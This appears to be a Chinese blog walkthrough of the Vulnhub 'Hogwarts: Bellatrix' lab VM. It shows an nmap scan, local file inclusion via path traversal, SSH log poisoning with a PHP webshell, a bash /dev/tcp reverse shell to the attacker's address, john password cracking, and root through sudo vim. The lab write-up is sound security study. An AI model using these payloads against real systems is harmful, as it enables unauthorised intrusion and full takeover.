Vulnhub: Hogwarts: Bellatrix靶机

kali:192.168.111.111

靶机:192.168.111.228

信息收集

端口扫描

复制代码
nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.228

访问80端口

查看源码,提示ikilledsiriusblack.php和文件包含的参数名file

漏洞利用

ikilledsiriusblack.php存在文件包含

复制代码
http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../etc/passwd

可以包含ssh日志文件/var/log/auth.log

复制代码
http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../var/log/auth.log

写入webshell到ssh日志文件

复制代码
ssh '<?php system($_GET["cmd"]);?>'@192.168.111.228

执行命令

复制代码
http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../var/log/auth.log&cmd=id

执行反弹shell

复制代码
bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'

提权

/var/www/html/c2VjcmV0cw==目录中发现密码字典和lestrange的密码密文

利用john爆破密文,密码:ihateharrypotter

复制代码
john hash --wordlist=./pass.txt

lestrange用户sudo权限

提权方法:https://gtfobins.github.io/gtfobins/vim/#sudo

提升为root

复制代码
sudo -u root vim -c ':!/bin/bash'

flag

相关推荐
Splashtop高性能远程控制软件29 分钟前
AI 落地的连接基建评估:消费品行业远程连接方案的四个技术维度(性能 / 精度 / 安全 / 统一管理)
运维·人工智能·安全·远程工作·splashtop
智塑未来1 小时前
鸿蒙6.1隐私安全升级——加密分享限时查看+水印+应用锁+防诈一键开启
安全·华为·harmonyos
TJHHH.2 小时前
XSS-labs-master
前端·web安全·xss
殷紫川2 小时前
AI Agent 安全防护实战:最小权限与 Human-in-the-loop 的工程防线
安全·agent·ai编程
吴声子夜歌4 小时前
网络安全——网络渗透测试(密码破译)
网络·web安全·php
IT小白杨4 小时前
短视频多账号运营环境管理指南:指纹浏览器与云手机技术解析
大数据·经验分享·web安全·智能手机·音视频·指纹浏览器
FHAI_FHZN5 小时前
峰火智能一键紧急报警柱解决方案,打造公共区域快速响应安全防护体系
安全
qq_452396237 小时前
第六篇:《运行时安全:Falco 入侵检测与异常行为监控》
安全
TJHHH.7 小时前
文件包含漏洞
笔记·安全·文件包含
小五传输7 小时前
Serv-U替代方案怎么选?政务机关文件安全传输对比与迁移指南
大数据·运维·安全